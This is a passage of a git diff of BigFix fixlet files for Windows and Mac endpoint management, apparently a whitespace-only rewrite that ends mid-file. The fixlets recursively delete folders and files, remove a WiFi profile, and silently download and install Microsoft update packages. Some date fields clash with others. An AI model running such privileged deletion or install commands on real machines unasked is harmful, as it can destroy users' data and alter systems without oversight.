+      <ActionScript MIMEType="text/x-uri">http://technet.microsoft.com/en-us/library/dd744566(v=ws.10).aspx</ActionScript>
+    </Action>
+    <Action ID="Action212">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more and download the latest versions of Feature Installer tasks.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://bigfix.me/winfeatures/</ActionScript>
+    </Action>
+    <Action ID="Action1666">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://bigfix.me/cdb/fixlet/68</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Delete Identity Finder temp file if one exists over 2GB in size (1415).bes b/Sites/Windows Management/Fixlets/Fixlets/Delete Identity Finder temp file if one exists over 2GB in size (1415).bes
index 91daf7159..b55cb8223 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Delete Identity Finder temp file if one exists over 2GB in size (1415).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Delete Identity Finder temp file if one exists over 2GB in size (1415).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Delete Identity Finder temp file if one exists over 2GB in size
-  ID       : 1415
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-03-11T16:09:32
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Delete Identity Finder temp file if one exists over 2GB in size</Title>
-    <Description><![CDATA[<P>WARNING: This fixlet should not be used without first investigating the cause, as it should not ever be relevant unless there is a problem. This fixlet was created to deal with a specific issue where Identity Finder left behind temp files over 10GB in size on many machines and this was used to clean it up. This is not normal or typical behavior, so any machine reporting as relevant should be investigated. If for some reason there is more than 1 file over 2GB in the user's IDF temp folder then it will report back as failed even though it deleted one of them since there will still be another. It will take multiple runs to clear it up if that is the case.</P>
-<P>This fixlet will delete an Identity Finder (IDF) temp file if there is one that is over 2GB in size. This is to address a specific issue that was experienced with Identity Finder that most likely no longer applies. This will not be relevant on most computers and only be relevant if there is at least one IDF temp file over 2GB in size located in the user's temp folder for IDF. This fixlet does not clear out all Identity Finder temp files. </P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists folder &quot;users&quot; of drive of system folder</Relevance>
-    <Relevance><![CDATA[(2*1024*1024*1024) < size of descendant whose(size of it = maximum of sizes of descendants of folders "AppData\Local\Temp\Identity Finder\Identity Finder" of folders whose (exists folder "AppData\Local\Temp\Identity Finder\Identity Finder" of it) of folder "users" of drive of system folder) of folders "AppData\Local\Temp\Identity Finder\Identity Finder" of folders whose (exists folder "AppData\Local\Temp\Identity Finder\Identity Finder" of it) of folder "users" of drive of system folder]]></Relevance>
-    <Relevance>exists folders &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of folders of folders of folder &quot;users&quot; of drive of system folder</Relevance>
-    <Relevance>not exists running application whose(name of it = &quot;IdentityFinder.exe&quot;)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2012-10-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 11 Mar 2013 20:55:36 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete &quot;{pathname of descendant whose(size of it = maximum of sizes of descendants of folders &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder) of folders &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder}&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Delete Identity Finder temp file if one exists over 2GB in size
+  ID       : 1415
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-03-11T16:09:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Delete Identity Finder temp file if one exists over 2GB in size</Title>
+    <Description><![CDATA[<P>WARNING: This fixlet should not be used without first investigating the cause, as it should not ever be relevant unless there is a problem. This fixlet was created to deal with a specific issue where Identity Finder left behind temp files over 10GB in size on many machines and this was used to clean it up. This is not normal or typical behavior, so any machine reporting as relevant should be investigated. If for some reason there is more than 1 file over 2GB in the user's IDF temp folder then it will report back as failed even though it deleted one of them since there will still be another. It will take multiple runs to clear it up if that is the case.</P>
+<P>This fixlet will delete an Identity Finder (IDF) temp file if there is one that is over 2GB in size. This is to address a specific issue that was experienced with Identity Finder that most likely no longer applies. This will not be relevant on most computers and only be relevant if there is at least one IDF temp file over 2GB in size located in the user's temp folder for IDF. This fixlet does not clear out all Identity Finder temp files. </P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;users&quot; of drive of system folder</Relevance>
+    <Relevance><![CDATA[(2*1024*1024*1024) < size of descendant whose(size of it = maximum of sizes of descendants of folders "AppData\Local\Temp\Identity Finder\Identity Finder" of folders whose (exists folder "AppData\Local\Temp\Identity Finder\Identity Finder" of it) of folder "users" of drive of system folder) of folders "AppData\Local\Temp\Identity Finder\Identity Finder" of folders whose (exists folder "AppData\Local\Temp\Identity Finder\Identity Finder" of it) of folder "users" of drive of system folder]]></Relevance>
+    <Relevance>exists folders &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of folders of folders of folder &quot;users&quot; of drive of system folder</Relevance>
+    <Relevance>not exists running application whose(name of it = &quot;IdentityFinder.exe&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-10-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 11 Mar 2013 20:55:36 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete &quot;{pathname of descendant whose(size of it = maximum of sizes of descendants of folders &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder) of folders &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Delete NAME_OF_NETWORK WiFi Profile - Windows (6171).bes b/Sites/Windows Management/Fixlets/Fixlets/Delete NAME_OF_NETWORK WiFi Profile - Windows (6171).bes
index 264876e2d..e9595f2b6 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Delete NAME_OF_NETWORK WiFi Profile - Windows (6171).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Delete NAME_OF_NETWORK WiFi Profile - Windows (6171).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Delete NAME_OF_NETWORK WiFi Profile - Windows
-  ID       : 6171
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-08-21T17:22:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Delete NAME_OF_NETWORK WiFi Profile - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
-    <Relevance>exists node values whose(it as trimmed string = &quot;NAME_OF_NETWORK&quot;) of (selects &quot;/WLANProfile/name/text()&quot; of it; selects &quot;/WLANProfile/SSIDConfig/SSID/name/text()&quot; of it) of xml documents of files whose(name of it as lowercase ends with &quot;.xml&quot;) of folders of folders &quot;C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2015-08-21</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 22 Aug 2015 00:21:05 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-wait netsh wlan delete profile name=&quot;NAME_OF_NETWORK&quot;
-
-notify client ForceRefresh
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Delete NAME_OF_NETWORK WiFi Profile - Windows
+  ID       : 6171
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-08-21T17:22:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Delete NAME_OF_NETWORK WiFi Profile - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists node values whose(it as trimmed string = &quot;NAME_OF_NETWORK&quot;) of (selects &quot;/WLANProfile/name/text()&quot; of it; selects &quot;/WLANProfile/SSIDConfig/SSID/name/text()&quot; of it) of xml documents of files whose(name of it as lowercase ends with &quot;.xml&quot;) of folders of folders &quot;C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-08-21</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 22 Aug 2015 00:21:05 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+wait netsh wlan delete profile name=&quot;NAME_OF_NETWORK&quot;
+
+notify client ForceRefresh
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Delete large Dell Driver folder from systems with low free space (721).bes b/Sites/Windows Management/Fixlets/Fixlets/Delete large Dell Driver folder from systems with low free space (721).bes
index 150c8c361..deac4ac3d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Delete large Dell Driver folder from systems with low free space (721).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Delete large Dell Driver folder from systems with low free space (721).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Delete large Dell Driver folder from systems with low free space
-  ID       : 721
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2012-12-05T11:11:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Delete large Dell Driver folder from systems with low free space</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists (folder &quot;dell&quot; of drive of system folder)</Relevance>
-    <Relevance><![CDATA[1000 < ((sum of sizes of descendants of folder "dell" of drive of system folder) / (1024 * 1024))]]></Relevance>
-    <Relevance><![CDATA[4096 > ((free space of drive of system folder)/(1024 * 1024))]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 02 Oct 2012 17:35:24 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/rmdir.mspx?mfr=true
-// cmd rmdir <path> /s /q
-waithidden cmd.exe /C rmdir {pathname of (folder "dell" of drive of system folder)} /s /q]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Delete large Dell Driver folder from systems with low free space
+  ID       : 721
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-05T11:11:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Delete large Dell Driver folder from systems with low free space</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (folder &quot;dell&quot; of drive of system folder)</Relevance>
+    <Relevance><![CDATA[1000 < ((sum of sizes of descendants of folder "dell" of drive of system folder) / (1024 * 1024))]]></Relevance>
+    <Relevance><![CDATA[4096 > ((free space of drive of system folder)/(1024 * 1024))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 02 Oct 2012 17:35:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/rmdir.mspx?mfr=true
+// cmd rmdir <path> /s /q
+waithidden cmd.exe /C rmdir {pathname of (folder "dell" of drive of system folder)} /s /q]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Delete start menu shortcuts containing _uninstall_ (3657).bes b/Sites/Windows Management/Fixlets/Fixlets/Delete start menu shortcuts containing _uninstall_ (3657).bes
index 8bc05354d..f153dfb45 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Delete start menu shortcuts containing _uninstall_ (3657).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Delete start menu shortcuts containing _uninstall_ (3657).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Delete start menu shortcuts containing "uninstall"
-  ID       : 3657
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-11-27T09:44:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Delete start menu shortcuts containing &quot;uninstall&quot;</Title>
-    <Description><![CDATA[<P>This task will delete any start menu shortcuts containing "uninstall"</P>
-<P>Users without Admin rights cannot delete these shortcuts, and they cannot actually uninstall most programs either. Programs can be uninstalled through the "Add/Remove Programs" UI instead of using these shortcuts.</P>
-<P>To see what this task will delete, see the property "All Users Start Menu "Uninstall" shortcuts" in the analysis "All Users - Files &amp; Shortcuts - Desktop &amp; Start Menu - Windows"</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists descendants whose(name of it as lowercase ends with &quot;.lnk&quot; AND name of it as lowercase contains &quot;uninstall&quot;) of folder ((it as string) of value &quot;Common Start Menu&quot; of key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of native registry)</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2013-11-27</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 27 Nov 2013 16:38:16 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-dos del {("%22" & it & "%22") of concatenation "%22;%22" of pathnames of descendants whose(name of it as lowercase ends with ".lnk" AND name of it as lowercase contains "uninstall") of folder ((it as string) of value "Common Start Menu" of key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" of native registry)}]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Delete start menu shortcuts containing "uninstall"
+  ID       : 3657
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-11-27T09:44:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Delete start menu shortcuts containing &quot;uninstall&quot;</Title>
+    <Description><![CDATA[<P>This task will delete any start menu shortcuts containing "uninstall"</P>
+<P>Users without Admin rights cannot delete these shortcuts, and they cannot actually uninstall most programs either. Programs can be uninstalled through the "Add/Remove Programs" UI instead of using these shortcuts.</P>
+<P>To see what this task will delete, see the property "All Users Start Menu "Uninstall" shortcuts" in the analysis "All Users - Files &amp; Shortcuts - Desktop &amp; Start Menu - Windows"</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists descendants whose(name of it as lowercase ends with &quot;.lnk&quot; AND name of it as lowercase contains &quot;uninstall&quot;) of folder ((it as string) of value &quot;Common Start Menu&quot; of key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of native registry)</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2013-11-27</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 27 Nov 2013 16:38:16 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+dos del {("%22" & it & "%22") of concatenation "%22;%22" of pathnames of descendants whose(name of it as lowercase ends with ".lnk" AND name of it as lowercase contains "uninstall") of folder ((it as string) of value "Common Start Menu" of key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" of native registry)}]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Deploy - Windows Management Framework - 4.0 - Windows (23565).bes b/Sites/Windows Management/Fixlets/Fixlets/Deploy - Windows Management Framework - 4.0 - Windows (23565).bes
index 7748c39ae..26ba14eaa 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Deploy - Windows Management Framework - 4.0 - Windows (23565).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Deploy - Windows Management Framework - 4.0 - Windows (23565).bes	
@@ -1,46 +1,46 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Deploy - Windows Management Framework - 4.0 - Windows
-  ID       : 23565
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:05:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Deploy - Windows Management Framework - 4.0 - Windows</Title>
-    <Description><![CDATA[<P>Deploys Windows Management Framework 4.0.</P>
-<P>Requires .Net 4.5</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* Must be Windows 7 SP1 or  or Windows Server 2008 R2 SP1 */  (version of it equals &quot;6.1&quot; as version and service pack major version of it = 1) of operating system</Relevance>
-    <Relevance><![CDATA[/* Must have .Net Framework 4.5 installed */ (value "Version" of key "client" of it as string as version >= "4.5" as version) of key "Microsoft\Net Framework Setup\NDP\v4" of key "HKLM\Software" of x64 registry]]></Relevance>
-    <Relevance><![CDATA[/* Only run if powershell 4.0 or above not already installed */ not exists value "PowerShellVersion" whose (it as string as version >= "4.0" as version) of keys "HKLM\Software\Microsoft\Powershell\3\PowerShellEngine" of native registry]]></Relevance>
-    <Category>Software Distribution</Category>
-    <Source>Window Management Framework</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2015-01-06</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action24613">
-      <Description>
-        <PreLink>Click&amp;nbsp;</PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to deploy this action</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
-	prefetch KB2819745.msu sha1:5d40d059b9ea7f1d596f608a07cca49e4537dc15 size:19304283 https://download.microsoft.com/download/3/D/6/3D61D262-8549-4769-A660-230B67E15B25/Windows6.1-KB2819745-x64-MultiPkg.msu sha256:fbc0889528656a3bc096f27434249f94cba12e413142aa38946fcdd8edf6f4c5
-else
-	prefetch KB2819745.msu sha1:378BD9F96B8C898B86BB0C0B92F2C9C000748C5E size:14736102 https://download.microsoft.com/download/3/D/6/3D61D262-8549-4769-A660-230B67E15B25/Windows6.1-KB2819745-x86-MultiPkg.msu sha256:D5DD77C5CD6370984257C81269CE40F83466D20339E44BB6DE40C22D96641B98
-endif
-
-wait __Download\KB2819745.msu /quiet /norestart</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Deploy - Windows Management Framework - 4.0 - Windows
+  ID       : 23565
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:05:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Deploy - Windows Management Framework - 4.0 - Windows</Title>
+    <Description><![CDATA[<P>Deploys Windows Management Framework 4.0.</P>
+<P>Requires .Net 4.5</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* Must be Windows 7 SP1 or  or Windows Server 2008 R2 SP1 */  (version of it equals &quot;6.1&quot; as version and service pack major version of it = 1) of operating system</Relevance>
+    <Relevance><![CDATA[/* Must have .Net Framework 4.5 installed */ (value "Version" of key "client" of it as string as version >= "4.5" as version) of key "Microsoft\Net Framework Setup\NDP\v4" of key "HKLM\Software" of x64 registry]]></Relevance>
+    <Relevance><![CDATA[/* Only run if powershell 4.0 or above not already installed */ not exists value "PowerShellVersion" whose (it as string as version >= "4.0" as version) of keys "HKLM\Software\Microsoft\Powershell\3\PowerShellEngine" of native registry]]></Relevance>
+    <Category>Software Distribution</Category>
+    <Source>Window Management Framework</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2015-01-06</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action24613">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to deploy this action</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
+	prefetch KB2819745.msu sha1:5d40d059b9ea7f1d596f608a07cca49e4537dc15 size:19304283 https://download.microsoft.com/download/3/D/6/3D61D262-8549-4769-A660-230B67E15B25/Windows6.1-KB2819745-x64-MultiPkg.msu sha256:fbc0889528656a3bc096f27434249f94cba12e413142aa38946fcdd8edf6f4c5
+else
+	prefetch KB2819745.msu sha1:378BD9F96B8C898B86BB0C0B92F2C9C000748C5E size:14736102 https://download.microsoft.com/download/3/D/6/3D61D262-8549-4769-A660-230B67E15B25/Windows6.1-KB2819745-x86-MultiPkg.msu sha256:D5DD77C5CD6370984257C81269CE40F83466D20339E44BB6DE40C22D96641B98
+endif
+
+wait __Download\KB2819745.msu /quiet /norestart</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.5 (2531).bes b/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.5 (2531).bes
index 45cecb295..ca85b3ce9 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.5 (2531).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.5 (2531).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Deploy Microsoft Office 2011 Update 14.3.5
-  ID       : 2531
-  Author   : hansen_m
-  Domain   : BESC
-  Imported : 2013-07-08T08:56:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Deploy Microsoft Office 2011 Update 14.3.5</Title>
-    <Description><![CDATA[This task will deploy Microsoft Office 2011 Update 14.3.5 <BR><BR>- Requires Microsoft Office 2011 Service Pack 1 <BR><BR>This task is applicable on Mac OS X 10.6, Mac OS X 10.7 and Mac OS X 10.8 ]]></Description>
-    <Relevance>mac of operating system</Relevance>
-    <Relevance><![CDATA[(system version >= "10.6" AND system version < "10.9")]]></Relevance>
-    <Relevance>exists folder &quot;Microsoft Office 2011&quot; of applications folder</Relevance>
-    <Relevance><![CDATA[exists application "Microsoft Word.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0") OR exists application "Microsoft Excel.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0") OR exists application "Microsoft PowerPoint.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0") OR exists application "Microsoft Outlook.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0")]]></Relevance>
-    <Category>Software Deployment</Category>
-    <Source>Mac Software Deployment Wizard</Source>
-    <SourceID>mah60</SourceID>
-    <SourceReleaseDate>2026-09-17</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Mac Software Deployment Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 08 Jul 2013 13:31:37 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch Office2011-1435UpdateEN.dmg sha1:da4767931619e8ec3725c81672a067371c7b92ba size:118529423 http://download.microsoft.com/download/E/1/A/E1A3BFED-FED3-498E-8D02-EF4796F1F8E7/Office2011-1435UpdateEN.dmg
